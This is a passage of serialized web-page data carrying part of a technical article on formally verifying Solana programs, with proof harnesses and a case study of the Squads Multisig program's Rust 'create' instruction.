,"children":33764},{},[33765,33767,33772,33774,33786],{"type":29,"value":33766},"This proof assures that whenever ",{"type":23,"tag":71,"props":33768,"children":33770},{"className":33769},[],[33771],{"type":29,"value":31377},{"type":29,"value":33773}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":9690,"props":33775,"children":33776},{},[33777,33779,33784],{"type":29,"value":33778},"even if ",{"type":23,"tag":71,"props":33780,"children":33782},{"className":33781},[],[33783],{"type":29,"value":31377},{"type":29,"value":33785}," is not satisfied",{"type":29,"value":33787},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":923,"props":33789,"children":33791},{"id":33790},"_3-negative-instruction-invariant",[33792],{"type":29,"value":33793},"3. Negative instruction invariant",{"type":23,"tag":32,"props":33795,"children":33796},{},[33797,33799,33804,33806,33862],{"type":29,"value":33798},"Finally, we want to prove that ",{"type":23,"tag":71,"props":33800,"children":33802},{"className":33801},[],[33803],{"type":29,"value":31384},{"type":29,"value":33805}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":71,"props":33807,"children":33809},{"className":33808},[15256,15257],[33810],{"type":23,"tag":75,"props":33811,"children":33813},{"className":33812},[15262],[33814],{"type":23,"tag":75,"props":33815,"children":33817},{"className":33816,"ariaHidden":15268},[15267],[33818,33844],{"type":23,"tag":75,"props":33819,"children":33821},{"className":33820},[15273],[33822,33826,33831,33835,33840],{"type":23,"tag":75,"props":33823,"children":33825},{"className":33824,"style":32798},[15278],[],{"type":23,"tag":75,"props":33827,"children":33829},{"className":33828,"style":33262},[15284,32803],[33830],{"type":29,"value":33299},{"type":23,"tag":75,"props":33832,"children":33834},{"className":33833,"style":15461},[15363],[],{"type":23,"tag":75,"props":33836,"children":33838},{"className":33837},[15466],[33839],{"type":29,"value":33548},{"type":23,"tag":75,"props":33841,"children":33843},{"className":33842,"style":15461},[15363],[],{"type":23,"tag":75,"props":33845,"children":33847},{"className":33846},[15273],[33848,33852,33857],{"type":23,"tag":75,"props":33849,"children":33851},{"className":33850,"style":32798},[15278],[],{"type":23,"tag":75,"props":33853,"children":33855},{"className":33854},[15284],[33856],{"type":29,"value":33395},{"type":23,"tag":75,"props":33858,"children":33860},{"className":33859,"style":33334},[15284,32803],[33861],{"type":29,"value":33337},{"type":29,"value":557},{"type":23,"tag":32,"props":33864,"children":33865},{},[33866],{"type":29,"value":33867},"This harness looks just like the previous one:",{"type":23,"tag":64,"props":33869,"children":33871},{"code":33870,"language":30683,"meta":7,"className":30684,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[33872],{"type":23,"tag":71,"props":33873,"children":33874},{"__ignoreMap":7},[33875,33883,33898],{"type":23,"tag":75,"props":33876,"children":33877},{"class":77,"line":78},[33878],{"type":23,"tag":75,"props":33879,"children":33880},{"style":94},[33881],{"type":29,"value":33882},"assume(E)\n",{"type":23,"tag":75,"props":33884,"children":33885},{"class":77,"line":100},[33886,33890,33894],{"type":23,"tag":75,"props":33887,"children":33888},{"style":94},[33889],{"type":29,"value":33598},{"type":23,"tag":75,"props":33891,"children":33892},{"style":209},[33893],{"type":29,"value":212},{"type":23,"tag":75,"props":33895,"children":33896},{"style":94},[33897],{"type":29,"value":33607},{"type":23,"tag":75,"props":33899,"children":33900},{"class":77,"line":121},[33901,33905,33909,33913],{"type":23,"tag":75,"props":33902,"children":33903},{"style":175},[33904],{"type":29,"value":31206},{"type":23,"tag":75,"props":33906,"children":33907},{"style":94},[33908],{"type":29,"value":643},{"type":23,"tag":75,"props":33910,"children":33911},{"style":33621},[33912],{"type":29,"value":13434},{"type":23,"tag":75,"props":33914,"children":33915},{"style":94},[33916],{"type":29,"value":33917},"K)\n",{"type":23,"tag":32,"props":33919,"children":33920},{},[33921,33923,33927],{"type":29,"value":33922},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":9690,"props":33924,"children":33925},{},[33926],{"type":29,"value":27595},{"type":29,"value":33928}," the account invariants we expect are always being preserved.",{"type":23,"tag":24,"props":33930,"children":33932},{"id":33931},"case-study-squads-multisig",[33933],{"type":29,"value":33934},"Case study: Squads Multisig",{"type":23,"tag":32,"props":33936,"children":33937},{},[33938,33940,33945],{"type":29,"value":33939},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":940,"props":33941,"children":33943},{"href":30047,"rel":33942},[944],[33944],{"type":29,"value":30051},{"type":29,"value":557},{"type":23,"tag":32,"props":33947,"children":33948},{},[33949,33951,33957,33959,33965],{"type":29,"value":33950},"The program defines a Multisig account (",{"type":23,"tag":71,"props":33952,"children":33954},{"className":33953},[],[33955],{"type":29,"value":33956},"Ms",{"type":29,"value":33958},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":71,"props":33960,"children":33962},{"className":33961},[],[33963],{"type":29,"value":33964},"threshold",{"type":29,"value":33966}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":32,"props":33968,"children":33969},{},[33970],{"type":29,"value":33971},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":32,"props":33973,"children":33974},{},[33975],{"type":29,"value":33976},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":2797,"props":33978,"children":33979},{},[33980,33985,33990,33995],{"type":23,"tag":2801,"props":33981,"children":33982},{},[33983],{"type":29,"value":33984},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":2801,"props":33986,"children":33987},{},[33988],{"type":29,"value":33989},"Verify threshold requirements",{"type":23,"tag":2801,"props":33991,"children":33992},{},[33993],{"type":29,"value":33994},"Verify requirements to remove a member",{"type":23,"tag":2801,"props":33996,"children":33997},{},[33998],{"type":29,"value":33999},"Safety guarantees",{"type":23,"tag":923,"props":34001,"children":34003},{"id":34002},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[34004],{"type":29,"value":34005},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":32,"props":34007,"children":34008},{},[34009,34011,34016],{"type":29,"value":34010},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":71,"props":34012,"children":34014},{"className":34013},[],[34015],{"type":29,"value":31377},{"type":29,"value":34017}," expression.",{"type":23,"tag":32,"props":34019,"children":34020},{},[34021,34023,34028,34030,34036],{"type":29,"value":34022},"Creating a multisig (",{"type":23,"tag":71,"props":34024,"children":34026},{"className":34025},[],[34027],{"type":29,"value":33956},{"type":29,"value":34029},") requires invoking the ",{"type":23,"tag":71,"props":34031,"children":34033},{"className":34032},[],[34034],{"type":29,"value":34035},"create",{"type":29,"value":34037}," instruction:",{"type":23,"tag":64,"props":34039,"children":34041},{"code":34040,"language":986,"meta":7,"className":987,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[34042],{"type":23,"tag":71,"props":34043,"children":34044},{"__ignoreMap":7},[34045,34062,34117,34147,34155,34163,34180,34231,34281,34289,34330,34337,34353,34386,34428,34435,34442,34461,34489,34509,34529,34557,34576,34584,34612,34632,34652,34659,34667,34699,34722,34756,34763,34770,34778,34819,34851,34858,34865,34873,34948,34980,34987,34994,35030,35042,35054,35066,35119,35126],{"type":23,"tag":75,"props":34046,"children":34047},{"class":77,"line":78},[34048,34053,34058],{"type":23,"tag":75,"props":34049,"children":34050},{"style":94},[34051],{"type":29,"value":34052},"#[derive(",{"type":23,"tag":75,"props":34054,"children":34055},{"style":104},[34056],{"type":29,"value":34057},"Accounts",{"type":23,"tag":75,"props":34059,"children":34060},{"style":94},[34061],{"type":29,"value":31480},{"type":23,"tag":75,"props":34063,"children":34064},{"class":77,"line":100},[34065,34070,34074,34078,34083,34087,34091,34096,34100,34104,34108,34112],{"type":23,"tag":75,"props":34066,"children":34067},{"style":94},[34068],{"type":29,"value":34069},"#[instruction(threshold",{"type":23,"tag":75,"props":34071,"children":34072},{"style":209},[34073],{"type":29,"value":1018},{"type":23,"tag":75,"props":34075,"children":34076},{"style":104},[34077],{"type":29,"value":32247},{"type":23,"tag":75,"props":34079,"children":34080},{"style":94},[34081],{"type":29,"value":34082},", create_key",{"type":23,"tag":75,"props":34084,"children":34085},{"style":209},[34086],{"type":29,"value":1018},{"type":23,"tag":75,"props":34088,"children":34089},{"style":104},[34090],{"type":29,"value":32075},{"type":23,"tag":75,"props":34092,"children":34093},{"style":94},[34094],{"type":29,"value":34095},", members",{"type":23,"tag":75,"props":34097,"children":34098},{"style":209},[34099],{"type":29,"value":1018},{"type":23,"tag":75,"props":34101,"children":34102},{"style":104},[34103],{"type":29,"value":32604},{"type":23,"tag":75,"props":34105,"children":34106},{"style":94},[34107],{"type":29,"value":295},{"type":23,"tag":75,"props":34109,"children":34110},{"style":104},[34111],{"type":29,"value":32613},{"type":23,"tag":75,"props":34113,"children":34114},{"style":94},[34115],{"type":29,"value":34116},">)]\n",{"type":23,"tag":75,"props":34118,"children":34119},{"class":77,"line":121},[34120,34124,34128,34133,34138,34143],{"type":23,"tag":75,"props":34121,"children":34122},{"style":82},[34123],{"type":29,"value":24933},{"type":23,"tag":75,"props":34125,"children":34126},{"style":82},[34127],{"type":29,"value":396},{"type":23,"tag":75,"props":34129,"children":34130},{"style":104},[34131],{"type":29,"value":34132}," Create",{"type":23,"tag":75,"props":34134,"children":34135},{"style":94},[34136],{"type":29,"value":34137},"\u003C'",{"type":23,"tag":75,"props":34139,"children":34140},{"style":104},[34141],{"type":29,"value":34142},"info",{"type":23,"tag":75,"props":34144,"children":34145},{"style":94},[34146],{"type":29,"value":1175},{"type":23,"tag":75,"props":34148,"children":34149},{"class":77,"line":138},[34150],{"type":23,"tag":75,"props":34151,"children":34152},{"style":94},[34153],{"type":29,"value":34154},"    #[account(\n",{"type":23,"tag":75,"props":34156,"children":34157},{"class":77,"line":161},[34158],{"type":23,"tag":75,"props":34159,"children":34160},{"style":94},[34161],{"type":29,"value":34162},"        init,\n",{"type":23,"tag":75,"props":34164,"children":34165},{"class":77,"line":196},[34166,34171,34175],{"type":23,"tag":75,"props":34167,"children":34168},{"style":94},[34169],{"type":29,"value":34170},"        payer ",{"type":23,"tag":75,"props":34172,"children":34173},{"style":209},[34174],{"type":29,"value":212},{"type":23,"tag":75,"props":34176,"children":34177},{"style":94},[34178],{"type":29,"value":34179}," creator,\n",{"type":23,"tag":75,"props":34181,"children":34182},{"class":77,"line":220},[34183,34188,34192,34196,34200,34205,34209,34214,34218,34222,34226],{"type":23,"tag":75,"props":34184,"children":34185},{"style":94},[34186],{"type":29,"value":34187},"        space ",{"type":23,"tag":75,"props":34189,"children":34190},{"style":209},[34191],{"type":29,"value":212},{"type":23,"tag":75,"props":34193,"children":34194},{"style":104},[34195],{"type":29,"value":32372},{"type":23,"tag":75,"props":34197,"children":34198},{"style":209},[34199],{"type":29,"value":1407},{"type":23,"tag":75,"props":34201,"children":34202},{"style":104},[34203],{"type":29,"value":34204},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":75,"props":34206,"children":34207},{"style":209},[34208],{"type":29,"value":20160},{"type":23,"tag":75,"props":34210,"children":34211},{"style":94},[34212],{"type":29,"value":34213}," (members",{"type":23,"tag":75,"props":34215,"children":34216},{"style":209},[34217],{"type":29,"value":557},{"type":23,"tag":75,"props":34219,"children":34220},{"style":94},[34221],{"type":29,"value":32238},{"type":23,"tag":75,"props":34223,"children":34224},{"style":209},[34225],{"type":29,"value":601},{"type":23,"tag":75,"props":34227,"children":34228},{"style":94},[34229],{"type":29,"value":34230}," 32),\n",{"type":23,"tag":75,"props":34232,"children":34233},{"class":77,"line":248},[34234,34239,34243,34248,34253,34257,34261,34266,34271,34276],{"type":23,"tag":75,"props":34235,"children":34236},{"style":94},[34237],{"type":29,"value":34238},"        seeds ",{"type":23,"tag":75,"props":34240,"children":34241},{"style":209},[34242],{"type":29,"value":212},{"type":23,"tag":75,"props":34244,"children":34245},{"style":94},[34246],{"type":29,"value":34247}," [",{"type":23,"tag":75,"props":34249,"children":34250},{"style":1266},[34251],{"type":29,"value":34252},"b\"squad\"",{"type":23,"tag":75,"props":34254,"children":34255},{"style":94},[34256],{"type":29,"value":34082},{"type":23,"tag":75,"props":34258,"children":34259},{"style":209},[34260],{"type":29,"value":557},{"type":23,"tag":75,"props":34262,"children":34263},{"style":94},[34264],{"type":29,"value":34265},"as_ref(), ",{"type":23,"tag":75,"props":34267,"children":34268},{"style":1266},[34269],{"type":29,"value":34270},"b\"multisig\"",{"type":23,"tag":75,"props":34272,"children":34273},{"style":94},[34274],{"type":29,"value":34275},"], ",{"type":23,"tag":75,"props":34277,"children":34278},{"style":110},[34279],{"type":29,"value":34280},"bump\n",{"type":23,"tag":75,"props":34282,"children":34283},{"class":77,"line":270},[34284],{"type":23,"tag":75,"props":34285,"children":34286},{"style":94},[34287],{"type":29,"value":34288},"    )]\n",{"type":23,"tag":75,"props":34290,"children":34291},{"class":77,"line":279},[34292,34296,34301,34305,34310,34314,34318,34322,34326],{"type":23,"tag":75,"props":34293,"children":34294},{"style":82},[34295],{"type":29,"value":32061},{"type":23,"tag":75,"props":34297,"children":34298},{"style":110},[34299],{"type":29,"value":34300}," multisig",{"type":23,"tag":75,"props":34302,"children":34303},{"style":209},[34304],{"type":29,"value":1018},{"type":23,"tag":75,"props":34306,"children":34307},{"style":104},[34308],{"type":29,"value":34309}," Account",{"type":23,"tag":75,"props":34311,"children":34312},{"style":94},[34313],{"type":29,"value":34137},{"type":23,"tag":75,"props":34315,"children":34316},{"style":104},[34317],{"type":29,"value":34142},{"type":23,"tag":75,"props":34319,"children":34320},{"style":94},[34321],{"type":29,"value":611},{"type":23,"tag":75,"props":34323,"children":34324},{"style":104},[34325],{"type":29,"value":33956},{"type":23,"tag":75,"props":34327,"children":34328},{"style":94},[34329],{"type":29,"value":1114},{"type":23,"tag":75,"props":34331,"children":34332},{"class":77,"line":303},[34333],{"type":23,"tag":75,"props":34334,"children":34335},{"emptyLinePlaceholder":15},[34336],{"type":29,"value":276},{"type":23,"tag":75,"props":34338,"children":34339},{"class":77,"line":322},[34340,34345,34349],{"type":23,"tag":75,"props":34341,"children":34342},{"style":94},[34343],{"type":29,"value":34344},"    #[account(",{"type":23,"tag":75,"props":34346,"children":34347},{"style":82},[34348],{"type":29,"value":14998},{"type":23,"tag":75,"props":34350,"children":34351},{"style":94},[34352],{"type":29,"value":31480},{"type":23,"tag":75,"props":34354,"children":34355},{"class":77,"line":340},[34356,34360,34365,34369,34374,34378,34382],{"type":23,"tag":75,"props":34357,"children":34358},{"style":82},[34359],{"type":29,"value":32061},{"type":23,"tag":75,"props":34361,"children":34362},{"style":110},[34363],{"type":29,"value":34364}," creator",{"type":23,"tag":75,"props":34366,"children":34367},{"style":209},[34368],{"type":29,"value":1018},{"type":23,"tag":75,"props":34370,"children":34371},{"style":104},[34372],{"type":29,"value":34373}," Signer",{"type":23,"tag":75,"props":34375,"children":34376},{"style":94},[34377],{"type":29,"value":34137},{"type":23,"tag":75,"props":34379,"children":34380},{"style":104},[34381],{"type":29,"value":34142},{"type":23,"tag":75,"props":34383,"children":34384},{"style":94},[34385],{"type":29,"value":1114},{"type":23,"tag":75,"props":34387,"children":34388},{"class":77,"line":349},[34389,34393,34398,34402,34407,34411,34415,34419,34424],{"type":23,"tag":75,"props":34390,"children":34391},{"style":82},[34392],{"type":29,"value":32061},{"type":23,"tag":75,"props":34394,"children":34395},{"style":110},[34396],{"type":29,"value":34397}," system_program",{"type":23,"tag":75,"props":34399,"children":34400},{"style":209},[34401],{"type":29,"value":1018},{"type":23,"tag":75,"props":34403,"children":34404},{"style":104},[34405],{"type":29,"value":34406}," Program",{"type":23,"tag":75,"props":34408,"children":34409},{"style":94},[34410],{"type":29,"value":34137},{"type":23,"tag":75,"props":34412,"children":34413},{"style":104},[34414],{"type":29,"value":34142},{"type":23,"tag":75,"props":34416,"children":34417},{"style":94},[34418],{"type":29,"value":611},{"type":23,"tag":75,"props":34420,"children":34421},{"style":104},[34422],{"type":29,"value":34423},"System",{"type":23,"tag":75,"props":34425,"children":34426},{"style":94},[34427],{"type":29,"value":1114},{"type":23,"tag":75,"props":34429,"children":34430},{"class":77,"line":363},[34431],{"type":23,"tag":75,"props":34432,"children":34433},{"style":94},[34434],{"type":29,"value":369},{"type":23,"tag":75,"props":34436,"children":34437},{"class":77,"line":656},[34438],{"type":23,"tag":75,"props":34439,"children":34440},{"emptyLinePlaceholder":15},[34441],{"type":29,"value":276},{"type":23,"tag":75,"props":34443,"children":34444},{"class":77,"line":705},[34445,34449,34453,34457],{"type":23,"tag":75,"props":34446,"children":34447},{"style":82},[34448],{"type":29,"value":24933},{"type":23,"tag":75,"props":34450,"children":34451},{"style":82},[34452],{"type":29,"value":24938},{"type":23,"tag":75,"props":34454,"children":34455},{"style":88},[34456],{"type":29,"value":18376},{"type":23,"tag":75,"props":34458,"children":34459},{"style":94},[34460],{"type":29,"value":97},{"type":23,"tag":75,"props":34462,"children":34463},{"class":77,"line":787},[34464,34468,34472,34476,34480,34485],{"type":23,"tag":75,"props":34465,"children":34466},{"style":110},[34467],{"type":29,"value":2946},{"type":23,"tag":75,"props":34469,"children":34470},{"style":209},[34471],{"type":29,"value":1018},{"type":23,"tag":75,"props":34473,"children":34474},{"style":104},[34475],{"type":29,"value":31509},{"type":23,"tag":75,"props":34477,"children":34478},{"style":94},[34479],{"type":29,"value":295},{"type":23,"tag":75,"props":34481,"children":34482},{"style":104},[34483],{"type":29,"value":34484},"Create",{"type":23,"tag":75,"props":34486,"children":34487},{"style":94},[34488],{"type":29,"value":1114},{"type":23,"tag":75,"props":34490,"children":34491},{"class":77,"line":826},[34492,34497,34501,34505],{"type":23,"tag":75,"props":34493,"children":34494},{"style":110},[34495],{"type":29,"value":34496},"    threshold",{"type":23,"tag":75,"props":34498,"children":34499},{"style":209},[34500],{"type":29,"value":1018},{"type":23,"tag":75,"props":34502,"children":34503},{"style":104},[34504],{"type":29,"value":32247},{"type":23,"tag":75,"props":34506,"children":34507},{"style":94},[34508],{"type":29,"value":118},{"type":23,"tag":75,"props":34510,"children":34511},{"class":77,"line":834},[34512,34517,34521,34525],{"type":23,"tag":75,"props":34513,"children":34514},{"style":110},[34515],{"type":29,"value":34516},"    create_key",{"type":23,"tag":75,"props":34518,"children":34519},{"style":209},[34520],{"type":29,"value":1018},{"type":23,"tag":75,"props":34522,"children":34523},{"style":104},[34524],{"type":29,"value":32075},{"type":23,"tag":75,"props":34526,"children":34527},{"style":94},[34528],{"type":29,"value":118},{"type":23,"tag":75,"props":34530,"children":34531},{"class":77,"line":881},[34532,34537,34541,34545,34549,34553],{"type":23,"tag":75,"props":34533,"children":34534},{"style":110},[34535],{"type":29,"value":34536},"    members",{"type":23,"tag":75,"props":34538,"children":34539},{"style":209},[34540],{"type":29,"value":1018},{"type":23,"tag":75,"props":34542,"children":34543},{"style":104},[34544],{"type":29,"value":32604},{"type":23,"tag":75,"props":34546,"children":34547},{"style":94},[34548],{"type":29,"value":295},{"type":23,"tag":75,"props":34550,"children":34551},{"style":104},[34552],{"type":29,"value":32613},{"type":23,"tag":75,"props":34554,"children":34555},{"style":94},[34556],{"type":29,"value":1114},{"type":23,"tag":75,"props":34558,"children":34559},{"class":77,"line":3355},[34560,34564,34568,34572],{"type":23,"tag":75,"props":34561,"children":34562},{"style":94},[34563],{"type":29,"value":167},{"type":23,"tag":75,"props":34565,"children":34566},{"style":209},[34567],{"type":29,"value":1156},{"type":23,"tag":75,"props":34569,"children":34570},{"style":104},[34571],{"type":29,"value":25004},{"type":23,"tag":75,"props":34573,"children":34574},{"style":94},[34575],{"type":29,"value":31551},{"type":23,"tag":75,"props":34577,"children":34578},{"class":77,"line":3390},[34579],{"type":23,"tag":75,"props":34580,"children":34581},{"style":3621},[34582],{"type":29,"value":34583},"    // sort the members and remove duplicates\n",{"type":23,"tag":75,"props":34585,"children":34586},{"class":77,"line":3423},[34587,34591,34595,34600,34604,34608],{"type":23,"tag":75,"props":34588,"children":34589},{"style":82},[34590],{"type":29,"value":1183},{"type":23,"tag":75,"props":34592,"children":34593},{"style":82},[34594],{"type":29,"value":14296},{"type":23,"tag":75,"props":34596,"children":34597},{"style":110},[34598],{"type":29,"value":34599}," members",{"type":23,"tag":75,"props":34601,"children":34602},{"style":209},[34603],{"type":29,"value":1193},{"type":23,"tag":75,"props":34605,"children":34606},{"style":110},[34607],{"type":29,"value":34599},{"type":23,"tag":75,"props":34609,"children":34610},{"style":94},[34611],{"type":29,"value":245},{"type":23,"tag":75,"props":34613,"children":34614},{"class":77,"line":3436},[34615,34619,34623,34628],{"type":23,"tag":75,"props":34616,"children":34617},{"style":110},[34618],{"type":29,"value":34536},{"type":23,"tag":75,"props":34620,"children":34621},{"style":209},[34622],{"type":29,"value":557},{"type":23,"tag":75,"props":34624,"children":34625},{"style":88},[34626],{"type":29,"value":34627},"sort",{"type":23,"tag":75,"props":34629,"children":34630},{"style":94},[34631],{"type":29,"value":14944},{"type":23,"tag":75,"props":34633,"children":34634},{"class":77,"line":3449},[34635,34639,34643,34648],{"type":23,"tag":75,"props":34636,"children":34637},{"style":110},[34638],{"type":29,"value":34536},{"type":23,"tag":75,"props":34640,"children":34641},{"style":209},[34642],{"type":29,"value":557},{"type":23,"tag":75,"props":34644,"children":34645},{"style":88},[34646],{"type":29,"value":34647},"dedup",{"type":23,"tag":75,"props":34649,"children":34650},{"style":94},[34651],{"type":29,"value":14944},{"type":23,"tag":75,"props":34653,"children":34654},{"class":77,"line":3457},[34655],{"type":23,"tag":75,"props":34656,"children":34657},{"emptyLinePlaceholder":15},[34658],{"type":29,"value":276},{"type":23,"tag":75,"props":34660,"children":34661},{"class":77,"line":3465},[34662],{"type":23,"tag":75,"props":34663,"children":34664},{"style":3621},[34665],{"type":29,"value":34666},"    // check we don't exceed u16\n",{"type":23,"tag":75,"props":34668,"children":34669},{"class":77,"line":3473},[34670,34674,34679,34683,34687,34691,34695],{"type":23,"tag":75,"props":34671,"children":34672},{"style":82},[34673],{"type":29,"value":1183},{"type":23,"tag":75,"props":34675,"children":34676},{"style":110},[34677],{"type":29,"value":34678}," total_members",{"type":23,"tag":75,"props":34680,"children":34681},{"style":209},[34682],{"type":29,"value":1193},{"type":23,"tag":75,"props":34684,"children":34685},{"style":110},[34686],{"type":29,"value":34599},{"type":23,"tag":75,"props":34688,"children":34689},{"style":209},[34690],{"type":29,"value":557},{"type":23,"tag":75,"props":34692,"children":34693},{"style":88},[34694],{"type":29,"value":679},{"type":23,"tag":75,"props":34696,"children":34697},{"style":94},[34698],{"type":29,"value":14944},{"type":23,"tag":75,"props":34700,"children":34701},{"class":77,"line":3481},[34702,34706,34710,34714,34718],{"type":23,"tag":75,"props":34703,"children":34704},{"style":175},[34705],{"type":29,"value":1363},{"type":23,"tag":75,"props":34707,"children":34708},{"style":110},[34709],{"type":29,"value":34678},{"type":23,"tag":75,"props":34711,"children":34712},{"style":209},[34713],{"type":29,"value":749},{"type":23,"tag":75,"props":34715,"children":34716},{"style":237},[34717],{"type":29,"value":15795},{"type":23,"tag":75,"props":34719,"children":34720},{"style":94},[34721],{"type":29,"value":401},{"type":23,"tag":75,"props":34723,"children":34724},{"class":77,"line":3524},[34725,34729,34734,34738,34743,34747,34752],{"type":23,"tag":75,"props":34726,"children":34727},{"style":175},[34728],{"type":29,"value":1388},{"type":23,"tag":75,"props":34730,"children":34731},{"style":88},[34732],{"type":29,"value":34733}," err!",{"type":23,"tag":75,"props":34735,"children":34736},{"style":94},[34737],{"type":29,"value":643},{"type":23,"tag":75,"props":34739,"children":34740},{"style":104},[34741],{"type":29,"value":34742},"MsError",{"type":23,"tag":75,"props":34744,"children":34745},{"style":209},[34746],{"type":29,"value":1407},{"type":23,"tag":75,"props":34748,"children":34749},{"style":104},[34750],{"type":29,"value":34751},"EmptyMembers",{"type":23,"tag":75,"props":34753,"children":34754},{"style":94},[34755],{"type":29,"value":15099},{"type":23,"tag":75,"props":34757,"children":34758},{"class":77,"line":4890},[34759],{"type":23,"tag":75,"props":34760,"children":34761},{"style":94},[34762],{"type":29,"value":346},{"type":23,"tag":75,"props":34764,"children":34765},{"class":77,"line":4937},[34766],{"type":23,"tag":75,"props":34767,"children":34768},{"emptyLinePlaceholder":15},[34769],{"type":29,"value":276},{"type":23,"tag":75,"props":34771,"children":34772},{"class":77,"line":4950},[34773],{"type":23,"tag":75,"props":34774,"children":34775},{"style":3621},[34776],{"type":29,"value":34777},"    // make sure we don't exceed u16 on first call\n",{"type":23,"tag":75,"props":34779,"children":34780},{"class":77,"line":4958},[34781,34785,34789,34793,34797,34801,34805,34810,34814],{"type":23,"tag":75,"props":34782,"children":34783},{"style":175},[34784],{"type":29,"value":1363},{"type":23,"tag":75,"props":34786,"children":34787},{"style":110},[34788],{"type":29,"value":34678},{"type":23,"tag":75,"props":34790,"children":34791},{"style":209},[34792],{"type":29,"value":8636},{"type":23,"tag":75,"props":34794,"children":34795},{"style":104},[34796],{"type":29,"value":24974},{"type":23,"tag":75,"props":34798,"children":34799},{"style":209},[34800],{"type":29,"value":1407},{"type":23,"tag":75,"props":34802,"children":34803},{"style":88},[34804],{"type":29,"value":30696},{"type":23,"tag":75,"props":34806,"children":34807},{"style":94},[34808],{"type":29,"value":34809},"(u16",{"type":23,"tag":75,"props":34811,"children":34812},{"style":209},[34813],{"type":29,"value":1407},{"type":23,"tag":75,"props":34815,"children":34816},{"style":94},[34817],{"type":29,"value":34818},"MAX) {\n",{"type":23,"tag":75,"props":34820,"children":34821},{"class":77,"line":4967},[34822,34826,34830,34834,34838,34842,34847],{"type":23,"tag":75,"props":34823,"children":34824},{"style":175},[34825],{"type":29,"value":1388},{"type":23,"tag":75,"props":34827,"children":34828},{"style":88},[34829],{"type":29,"value":34733},{"type":23,"tag":75,"props":34831,"children":34832},{"style":94},[34833],{"type":29,"value":643},{"type":23,"tag":75,"props":34835,"children":34836},{"style":104},[34837],{"type":29,"value":34742},{"type":23,"tag":75,"props":34839,"children":34840},{"style":209},[34841],{"type":29,"value":1407},{"type":23,"tag":75,"props":34843,"children":34844},{"style":104},[34845],{"type":29,"value":34846},"MaxMembersReached",{"type":23,"tag":75,"props":34848,"children":34849},{"style":94},[34850],{"type":29,"value":15099},{"type":23,"tag":75,"props":34852,"children":34853},{"class":77,"line":4975},[34854],{"type":23,"tag":75,"props":34855,"children":34856},{"style":94},[34857],{"type":29,"value":346},{"type":23,"tag":75,"props":34859,"children":34860},{"class":77,"line":5016},[34861],{"type":23,"tag":75,"props":34862,"children":34863},{"emptyLinePlaceholder":15},[34864],{"type":29,"value":276},{"type":23,"tag":75,"props":34866,"children":34867},{"class":77,"line":5025},[34868],{"type":23,"tag":75,"props":34869,"children":34870},{"style":3621},[34871],{"type":29,"value":34872},"    // make sure threshold is valid\n",{"type":23,"tag":75,"props":34874,"children":34875},{"class":77,"line":5033},[34876,34880,34884,34888,34892,34896,34900,34905,34909,34914,34918,34922,34926,34930,34934,34939,34944],{"type":23,"tag":75,"props":34877,"children":34878},{"style":175},[34879],{"type":29,"value":1363},{"type":23,"tag":75,"props":34881,"children":34882},{"style":104},[34883],{"type":29,"value":24974},{"type":23,"tag":75,"props":34885,"children":34886},{"style":209},[34887],{"type":29,"value":1407},{"type":23,"tag":75,"props":34889,"children":34890},{"style":88},[34891],{"type":29,"value":30696},{"type":23,"tag":75,"props":34893,"children":34894},{"style":94},[34895],{"type":29,"value":643},{"type":23,"tag":75,"props":34897,"children":34898},{"style":110},[34899],{"type":29,"value":33964},{"type":23,"tag":75,"props":34901,"children":34902},{"style":94},[34903],{"type":29,"value":34904},") \u003C ",{"type":23,"tag":75,"props":34906,"children":34907},{"style":237},[34908],{"type":29,"value":7867},{"type":23,"tag":75,"props":34910,"children":34911},{"style":209},[34912],{"type":29,"value":34913}," ||",{"type":23,"tag":75,"props":34915,"children":34916},{"style":104},[34917],{"type":29,"value":24974},{"type":23,"tag":75,"props":34919,"children":34920},{"style":209},[34921],{"type":29,"value":1407},{"type":23,"tag":75,"props":34923,"children":34924},{"style":88},[34925],{"type":29,"value":30696},{"type":23,"tag":75,"props":34927,"children":34928},{"style":94},[34929],{"type":29,"value":643},{"type":23,"tag":75,"props":34931,"children":34932},{"style":110},[34933],{"type":29,"value":33964},{"type":23,"tag":75,"props":34935,"children":34936},{"style":94},[34937],{"type":29,"value":34938},") > 